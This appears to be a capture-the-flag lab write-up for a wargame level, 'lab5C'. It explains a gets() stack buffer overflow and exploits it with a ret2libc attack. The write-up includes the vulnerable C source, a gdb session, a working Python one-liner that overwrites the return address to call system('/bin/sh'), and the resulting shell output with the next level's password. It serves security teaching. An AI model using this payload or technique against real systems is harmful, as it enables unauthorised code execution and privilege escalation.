For this lab, we are given a program and its corresponding source code:

#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector -o lab5C lab5C.c */

char global_str[128];

/* reads a string, copies it to a global */
void copytoglobal()
{
    char buffer[128] = {0};
    gets(buffer);
    memcpy(global_str, buffer, 128);
}

int main()
{
    char buffer[128] = {0};

    printf("I included libc for you...\n"\
           "Can you ROP to system()?\n");

    copytoglobal();

    return EXIT_SUCCESS;
}

Running chekcsec on the binary gives us the following results.

gdb-peda$ checksec                                                                                                                          
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

We can simply smash the stack and overwrite the saved return address with the address of system() and pass in the address of a "/bin/sh" string we place on the stack.

Using gdb and fixenv, we can see that system() exists at address 0xb7e63190 and that our "/bin/sh\0" arguent is located at the stack address 0xbffff738.

gdb-peda$ r < <(python -c 'print "A"*156+"\x90\x31\xe6\xb7"+"BBBB"+"\x38\xf7\xff\xbf"+"/bin/sh\0"')                                         
Starting program: /tmp/lab5C/.launcher < <(python -c 'print "A"*156+"\x90\x31\xe6\xb7"+"BBBB"+"\x38\xf7\xff\xbf"+"/bin/sh\0"')
I included libc for you...
Can you ROP to system()?
[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x41414141 ('AAAA')
ECX: 0x0 
EDX: 0x804a060 ('A' <repeats 128 times>)
ESI: 0x41414141 ('AAAA')
EDI: 0x41414141 ('AAAA')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff72c --> 0xb7e63190 (<__libc_system>:	push   ebx)
EIP: 0x80486bf (<copytoglobal+82>:	ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80486bc <copytoglobal+79>:	pop    esi
   0x80486bd <copytoglobal+80>:	pop    edi
   0x80486be <copytoglobal+81>:	pop    ebp
=> 0x80486bf <copytoglobal+82>:	ret    
   0x80486c0 <main>:	push   ebp
   0x80486c1 <main+1>:	mov    ebp,esp
   0x80486c3 <main+3>:	push   edi
   0x80486c4 <main+4>:	push   ebx
[------------------------------------stack-------------------------------------]
0000| 0xbffff72c --> 0xb7e63190 (<__libc_system>:	push   ebx)
0004| 0xbffff730 ("BBBB8\367\377\277/bin/sh")
0008| 0xbffff734 --> 0xbffff738 ("/bin/sh")
0012| 0xbffff738 ("/bin/sh")
0016| 0xbffff73c --> 0x68732f ('/sh')
0020| 0xbffff740 --> 0x0 
0024| 0xbffff744 --> 0x0 
0028| 0xbffff748 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080486bf in copytoglobal ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>

Putting everything together, the following input will give us a shell.

Solution

(python -c 'print "A"*156+"\x90\x31\xe6\xb7"+"BBBB"+"\x38\xf7\xff\xbf"+"/bin/sh\0"'; cat -) | fixenv /levels/lab05/lab5C
I included libc for you...
Can you ROP to system()?
id
uid=1018(lab5C) gid=1019(lab5C) euid=1019(lab5B) groups=1020(lab5B),1001(gameuser),1019(lab5C)
cat /home/lab5B/.pass
s0m3tim3s_r3t2libC_1s_3n0ugh